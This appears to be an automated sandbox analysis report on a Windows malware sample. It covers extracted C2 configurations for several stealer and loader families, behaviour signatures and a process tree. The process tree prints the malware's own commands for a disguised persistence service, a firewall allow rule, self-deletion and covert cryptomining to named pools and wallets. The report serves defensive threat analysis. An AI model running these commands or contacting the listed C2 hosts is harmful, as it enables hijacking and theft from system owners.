Analysis

  • max time kernel
    151s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    31/12/2021, 18:06

General

  • Target
    56e18023455303cd24f828173da31e2d.exe
  • Size 339KB
  • Sample211231-wprc1affal
  • SHA256 29a5461cca77683d6a47c83eb774235bd0ae092adc58c987e571eeecb3e1cd03
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://host-data-coin-11.com/

  • http://file-coin-host-12.com/

rc4.i32
rc4.i32

Extracted

Family
  • tofsee

C2
  • patmushta.info

  • parubey.info

Extracted

Family
  • raccoon

Botnet
  • 10da56e7e71e97bdc1f36eb76813bbc3231de7e4

Attributes
  • url4cnc

    http://194.180.174.53/capibar

    http://91.219.236.18/capibar

    http://194.180.174.41/capibar

    http://91.219.236.148/capibar

    https://t.me/capibar

rc4.plain
rc4.plain

Extracted

Family
  • raccoon

rc4.plain

Extracted

Family
  • redline

Botnet
  • cheat

C2
  • 45.147.196.146:6213

Extracted

Family
  • raccoon

Botnet
  • e9f10fade0328e7cef5c9f5bf00076086ba5a8a1

Attributes
  • url4cnc

    http://91.219.236.18/baldandbankrupt1

    http://194.180.174.41/baldandbankrupt1

    http://91.219.236.148/baldandbankrupt1

    https://t.me/baldandbankrupt1

rc4.plain
rc4.plain

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 4 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 4 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 22 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 6 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 9 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 36 IoCs
  • Suspicious use of SetThreadContext 22 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
  • Modifies data under HKEY_USERS 9 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\56e18023455303cd24f828173da31e2d.exe
    "C:\Users\Admin\AppData\Local\Temp\56e18023455303cd24f828173da31e2d.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2648
    • C:\Users\Admin\AppData\Local\Temp\56e18023455303cd24f828173da31e2d.exe
      "C:\Users\Admin\AppData\Local\Temp\56e18023455303cd24f828173da31e2d.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:3444
  • C:\Users\Admin\AppData\Local\Temp\6202.exe
    C:\Users\Admin\AppData\Local\Temp\6202.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Checks processor information in registry
    • Suspicious use of WriteProcessMemory
    PID:3272
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\6202.exe" & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4080
      • C:\Windows\SysWOW64\timeout.exe
        timeout /t 5
        3⤵
        • Delays execution with timeout.exe
        PID:3144
  • C:\Users\Admin\AppData\Local\Temp\654E.exe
    C:\Users\Admin\AppData\Local\Temp\654E.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:4036
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ezumbon\
      2⤵
        PID:336
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rkzexzwf.exe" C:\Windows\SysWOW64\ezumbon\
        2⤵
          PID:3488
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ezumbon binPath= "C:\Windows\SysWOW64\ezumbon\rkzexzwf.exe /d\"C:\Users\Admin\AppData\Local\Temp\654E.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3744
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description ezumbon "wifi internet conection"
            2⤵
              PID:2720
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start ezumbon
              2⤵
                PID:2036
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2052
              • C:\Users\Admin\AppData\Local\Temp\68CA.exe
                C:\Users\Admin\AppData\Local\Temp\68CA.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:2820
                • C:\Users\Admin\AppData\Local\Temp\68CA.exe
                  C:\Users\Admin\AppData\Local\Temp\68CA.exe
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3108
              • C:\Windows\SysWOW64\ezumbon\rkzexzwf.exe
                C:\Windows\SysWOW64\ezumbon\rkzexzwf.exe /d"C:\Users\Admin\AppData\Local\Temp\654E.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2024
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:3980
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:664
              • C:\Users\Admin\AppData\Local\Temp\BF48.exe
                C:\Users\Admin\AppData\Local\Temp\BF48.exe
                1⤵
                • Executes dropped EXE
                PID:1592
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1592 -s 1188
                  2⤵
                  • Suspicious use of NtCreateProcessExOtherParentProcess
                  • Program crash
                  PID:1720
              • C:\Users\Admin\AppData\Local\Temp\C41B.exe
                C:\Users\Admin\AppData\Local\Temp\C41B.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1156
                • C:\Users\Admin\AppData\Local\Temp\C41B.exe
                  C:\Users\Admin\AppData\Local\Temp\C41B.exe
                  2⤵
                  • Executes dropped EXE
                  • Checks SCSI registry key(s)
                  • Suspicious behavior: MapViewOfSection
                  PID:1888
              • C:\Users\Admin\AppData\Local\Temp\CA17.exe
                C:\Users\Admin\AppData\Local\Temp\CA17.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Loads dropped DLL
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Checks processor information in registry
                PID:3704
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\CA17.exe" & exit
                  2⤵
                    PID:4028
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout /t 5
                      3⤵
                      • Delays execution with timeout.exe
                      PID:1984
                • C:\Users\Admin\AppData\Local\Temp\DB00.exe
                  C:\Users\Admin\AppData\Local\Temp\DB00.exe
                  1⤵
                  • Executes dropped EXE
                  PID:1376
                • C:\Users\Admin\AppData\Local\Temp\DECA.exe
                  C:\Users\Admin\AppData\Local\Temp\DECA.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:4036
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    #cmd
                    2⤵
                    • Checks processor information in registry
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3016
                    • C:\Users\Admin\AppData\Roaming\safas2f.exe
                      "C:\Users\Admin\AppData\Roaming\safas2f.exe"
                      3⤵
                      • Executes dropped EXE
                      • Adds Run key to start application
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • Suspicious use of SetThreadContext
                      PID:1232
                      • C:\Windows\bfsvc.exe
                        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
                        4⤵
                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                        PID:2132
                      • C:\Windows\explorer.exe
                        "C:\Windows\explorer.exe"
                        4⤵
                          PID:2024
                          • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
                            "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
                            5⤵
                            • Executes dropped EXE
                            • Adds Run key to start application
                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                            • Suspicious use of SetThreadContext
                            PID:348
                            • C:\Windows\bfsvc.exe
                              C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
                              6⤵
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              PID:2724
                            • C:\Windows\explorer.exe
                              "C:\Windows\explorer.exe"
                              6⤵
                                PID:3776
                                • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
                                  "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
                                  7⤵
                                  • Executes dropped EXE
                                  • Adds Run key to start application
                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                  • Suspicious use of SetThreadContext
                                  PID:3108
                                  • C:\Windows\bfsvc.exe
                                    C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
                                    8⤵
                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                    PID:2128
                                  • C:\Windows\explorer.exe
                                    "C:\Windows\explorer.exe"
                                    8⤵
                                      PID:2676
                                      • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
                                        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
                                        9⤵
                                        • Executes dropped EXE
                                        • Adds Run key to start application
                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                        • Suspicious use of SetThreadContext
                                        PID:1724
                                        • C:\Windows\bfsvc.exe
                                          C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
                                          10⤵
                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                          PID:2124
                                        • C:\Windows\explorer.exe
                                          "C:\Windows\explorer.exe"
                                          10⤵
                                            PID:2144
                                            • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
                                              "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
                                              11⤵
                                              • Executes dropped EXE
                                              • Adds Run key to start application
                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                              • Suspicious use of SetThreadContext
                                              PID:848
                                              • C:\Windows\bfsvc.exe
                                                C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
                                                12⤵
                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                PID:1920
                                              • C:\Windows\explorer.exe
                                                "C:\Windows\explorer.exe"
                                                12⤵
                                                  PID:348
                                                  • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
                                                    "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
                                                    13⤵
                                                    • Executes dropped EXE
                                                    • Adds Run key to start application
                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                    • Suspicious use of SetThreadContext
                                                    PID:3544
                                                    • C:\Windows\bfsvc.exe
                                                      C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
                                                      14⤵
                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                      PID:1172
                                                    • C:\Windows\explorer.exe
                                                      "C:\Windows\explorer.exe"
                                                      14⤵
                                                        PID:2196
                                                        • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
                                                          "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
                                                          15⤵
                                                          • Executes dropped EXE
                                                          • Adds Run key to start application
                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                          • Suspicious use of SetThreadContext
                                                          PID:1632
                                                          • C:\Windows\bfsvc.exe
                                                            C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
                                                            16⤵
                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                            PID:1744
                                                          • C:\Windows\explorer.exe
                                                            "C:\Windows\explorer.exe"
                                                            16⤵
                                                              PID:1364
                                                              • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
                                                                "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
                                                                17⤵
                                                                • Executes dropped EXE
                                                                • Adds Run key to start application
                                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                • Suspicious use of SetThreadContext
                                                                PID:328
                                                                • C:\Windows\bfsvc.exe
                                                                  C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
                                                                  18⤵
                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                  PID:3180
                                                                • C:\Windows\explorer.exe
                                                                  "C:\Windows\explorer.exe"
                                                                  18⤵
                                                                    PID:3532
                                    • C:\Users\Admin\AppData\Roaming\whw.exe
                                      "C:\Users\Admin\AppData\Roaming\whw.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      PID:4080
                                    • C:\Users\Admin\AppData\Roaming\e3dwefw.exe
                                      "C:\Users\Admin\AppData\Roaming\e3dwefw.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • Adds Run key to start application
                                      PID:3876
                                    • C:\Users\Admin\AppData\Roaming\sdfsd.exe
                                      "C:\Users\Admin\AppData\Roaming\sdfsd.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • Checks BIOS information in registry
                                      • Checks whether UAC is enabled
                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                      PID:860

                                Network

                                      MITRE ATT&CK Enterprise v6

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      memory/348-329-0x00007FF63B5D0000-0x00007FF63CC6A000-memory.dmp

                                      memory/348-328-0x00007FF63B5D0000-0x00007FF63CC6A000-memory.dmp

                                      memory/664-214-0x0000000003210000-0x0000000003301000-memory.dmp

                                      memory/664-219-0x0000000003210000-0x0000000003301000-memory.dmp

                                      memory/848-360-0x00007FF63B5D0000-0x00007FF63CC6A000-memory.dmp

                                      memory/848-362-0x00007FF63B5D0000-0x00007FF63CC6A000-memory.dmp

                                      memory/860-288-0x0000000076640000-0x0000000076731000-memory.dmp

                                      memory/860-281-0x0000000000270000-0x0000000000688000-memory.dmp

                                      memory/860-282-0x0000000000270000-0x0000000000688000-memory.dmp

                                      memory/860-286-0x00000000009E0000-0x00000000009E1000-memory.dmp

                                      memory/860-287-0x0000000076830000-0x00000000769F2000-memory.dmp

                                      memory/860-294-0x0000000000270000-0x0000000000688000-memory.dmp

                                      memory/860-297-0x0000000000270000-0x0000000000688000-memory.dmp

                                      memory/860-301-0x0000000000270000-0x0000000000688000-memory.dmp

                                      memory/860-285-0x0000000000270000-0x0000000000688000-memory.dmp

                                      memory/860-284-0x0000000000270000-0x0000000000688000-memory.dmp

                                      memory/860-295-0x0000000000270000-0x0000000000688000-memory.dmp

                                      memory/860-283-0x0000000000270000-0x0000000000688000-memory.dmp

                                      memory/1232-298-0x00007FF725210000-0x00007FF7268AA000-memory.dmp

                                      memory/1232-293-0x00007FF725210000-0x00007FF7268AA000-memory.dmp

                                      memory/1592-242-0x0000000000D50000-0x0000000000DA0000-memory.dmp

                                      memory/1592-191-0x0000000000400000-0x0000000000885000-memory.dmp

                                      memory/1592-188-0x0000000000400000-0x0000000000885000-memory.dmp

                                      memory/1592-187-0x0000000000B40000-0x0000000000BEC000-memory.dmp

                                      memory/1592-200-0x0000000000C30000-0x0000000000CC7000-memory.dmp

                                      memory/1592-186-0x0000000000AAF000-0x0000000000B3A000-memory.dmp

                                      memory/1592-235-0x000000000093A000-0x0000000000997000-memory.dmp

                                      memory/1592-236-0x0000000000400000-0x0000000000885000-memory.dmp

                                      memory/1592-204-0x0000000000400000-0x0000000000885000-memory.dmp

                                      memory/1592-237-0x0000000002780000-0x0000000002815000-memory.dmp

                                      memory/1592-238-0x0000000000400000-0x0000000000885000-memory.dmp

                                      memory/1592-240-0x0000000000400000-0x0000000000885000-memory.dmp

                                      memory/1592-246-0x0000000000400000-0x0000000000885000-memory.dmp

                                      memory/1592-244-0x0000000002830000-0x00000000028C2000-memory.dmp

                                      memory/1632-382-0x00007FF63B5D0000-0x00007FF63CC6A000-memory.dmp

                                      memory/1724-350-0x00007FF63B5D0000-0x00007FF63CC6A000-memory.dmp

                                      memory/1724-349-0x00007FF63B5D0000-0x00007FF63CC6A000-memory.dmp

                                      memory/2024-166-0x0000000000400000-0x0000000000782000-memory.dmp

                                      memory/2024-304-0x0000000140000000-0x0000000140022000-memory.dmp

                                      memory/2024-161-0x00000000009EC000-0x00000000009FD000-memory.dmp

                                      memory/2132-302-0x0000000140000000-0x0000000140815000-memory.dmp

                                      memory/2648-118-0x0000000000030000-0x0000000000039000-memory.dmp

                                      memory/2820-135-0x00000000058D0000-0x00000000058D1000-memory.dmp

                                      memory/2820-130-0x0000000000E90000-0x0000000000F1A000-memory.dmp

                                      memory/2820-133-0x0000000005700000-0x0000000005776000-memory.dmp

                                      memory/2820-136-0x0000000003030000-0x0000000003031000-memory.dmp

                                      memory/2820-137-0x00000000056E0000-0x00000000056FE000-memory.dmp

                                      memory/2820-140-0x0000000005FC0000-0x00000000064BE000-memory.dmp

                                      memory/2820-131-0x0000000000E90000-0x0000000000F1A000-memory.dmp

                                      memory/3016-249-0x0000000004A10000-0x0000000004B1A000-memory.dmp

                                      memory/3016-250-0x0000000004970000-0x00000000049D6000-memory.dmp

                                      memory/3016-247-0x0000000004E60000-0x0000000005466000-memory.dmp

                                      memory/3016-248-0x00000000048E0000-0x00000000048F2000-memory.dmp

                                      memory/3016-252-0x0000000005470000-0x00000000054AE000-memory.dmp

                                      memory/3016-245-0x0000000000180000-0x00000000001A2000-memory.dmp

                                      memory/3016-255-0x0000000005AC0000-0x0000000005B0B000-memory.dmp

                                      memory/3016-256-0x0000000005C80000-0x0000000005C81000-memory.dmp

                                      memory/3016-243-0x0000000000180000-0x00000000001A2000-memory.dmp

                                      memory/3040-119-0x0000000000DB0000-0x0000000000DC6000-memory.dmp

                                      memory/3040-232-0x0000000003210000-0x0000000003226000-memory.dmp

                                      memory/3108-169-0x0000000005550000-0x00000000055E2000-memory.dmp

                                      memory/3108-154-0x0000000000400000-0x0000000000420000-memory.dmp

                                      memory/3108-150-0x0000000000400000-0x0000000000420000-memory.dmp

                                      memory/3108-153-0x0000000000400000-0x0000000000420000-memory.dmp

                                      memory/3108-155-0x00000000056D0000-0x0000000005CD6000-memory.dmp

                                      memory/3108-156-0x0000000002A20000-0x0000000002A32000-memory.dmp

                                      memory/3108-157-0x00000000051D0000-0x00000000052DA000-memory.dmp

                                      memory/3108-158-0x0000000005100000-0x000000000513E000-memory.dmp

                                      memory/3108-159-0x00000000050C0000-0x00000000056C6000-memory.dmp

                                      memory/3108-160-0x0000000005140000-0x000000000518B000-memory.dmp

                                      memory/3108-339-0x00007FF63B5D0000-0x00007FF63CC6A000-memory.dmp

                                      memory/3108-338-0x00007FF63B5D0000-0x00007FF63CC6A000-memory.dmp

                                      memory/3108-168-0x0000000005420000-0x0000000005496000-memory.dmp

                                      memory/3108-170-0x00000000061E0000-0x00000000066DE000-memory.dmp

                                      memory/3108-171-0x0000000005520000-0x000000000553E000-memory.dmp

                                      memory/3108-172-0x0000000005DE0000-0x0000000005E46000-memory.dmp

                                      memory/3108-177-0x0000000006AE0000-0x0000000006CA2000-memory.dmp

                                      memory/3108-178-0x00000000071E0000-0x000000000770C000-memory.dmp

                                      memory/3272-132-0x00000000001C0000-0x00000000001DC000-memory.dmp

                                      memory/3272-134-0x0000000000400000-0x0000000000782000-memory.dmp

                                      memory/3444-116-0x0000000000400000-0x0000000000409000-memory.dmp

                                      memory/3544-372-0x00007FF63B5D0000-0x00007FF63CC6A000-memory.dmp

                                      memory/3544-371-0x00007FF63B5D0000-0x00007FF63CC6A000-memory.dmp

                                      memory/3704-211-0x00000000001D0000-0x00000000005DD000-memory.dmp

                                      memory/3704-205-0x0000000076830000-0x00000000769F2000-memory.dmp

                                      memory/3704-208-0x00000000001D0000-0x00000000005DD000-memory.dmp

                                      memory/3704-212-0x0000000076F00000-0x000000007708E000-memory.dmp

                                      memory/3704-196-0x00000000001D0000-0x00000000005DD000-memory.dmp

                                      memory/3704-210-0x00000000001D0000-0x00000000005DD000-memory.dmp

                                      memory/3704-209-0x00000000001D0000-0x00000000005DD000-memory.dmp

                                      memory/3704-201-0x00000000001D0000-0x00000000005DD000-memory.dmp

                                      memory/3704-207-0x00000000001D0000-0x00000000005DD000-memory.dmp

                                      memory/3704-206-0x0000000000C90000-0x0000000000CD4000-memory.dmp

                                      memory/3704-198-0x00000000001D0000-0x00000000005DD000-memory.dmp

                                      memory/3704-203-0x0000000000B50000-0x0000000000B51000-memory.dmp

                                      memory/3704-202-0x00000000001D0000-0x00000000005DD000-memory.dmp

                                      memory/3980-164-0x0000000000120000-0x0000000000121000-memory.dmp

                                      memory/3980-162-0x0000000000410000-0x0000000000425000-memory.dmp

                                      memory/3980-165-0x0000000000120000-0x0000000000121000-memory.dmp

                                      memory/3980-213-0x0000000000571000-0x000000000057D000-memory.dmp

                                      memory/4036-233-0x00000000056F0000-0x00000000056F1000-memory.dmp

                                      memory/4036-226-0x0000000000290000-0x000000000038E000-memory.dmp

                                      memory/4036-227-0x0000000000290000-0x000000000038E000-memory.dmp

                                      memory/4036-234-0x0000000005570000-0x000000000557A000-memory.dmp

                                      memory/4036-231-0x0000000004FC0000-0x0000000004FDE000-memory.dmp

                                      memory/4036-230-0x0000000005590000-0x0000000005606000-memory.dmp

                                      memory/4036-142-0x0000000000400000-0x0000000000782000-memory.dmp

                                      memory/4036-141-0x00000000001C0000-0x00000000001D3000-memory.dmp

                                      memory/4036-138-0x0000000000A61000-0x0000000000A72000-memory.dmp

                                      memory/4036-229-0x0000000004C20000-0x0000000004CB2000-memory.dmp

                                      memory/4036-228-0x0000000005010000-0x000000000550E000-memory.dmp

                                      memory/4080-266-0x00000000001A0000-0x00000000001C0000-memory.dmp

                                      memory/4080-268-0x0000000004F00000-0x0000000005506000-memory.dmp

                                      memory/4080-265-0x00000000001A0000-0x00000000001C0000-memory.dmp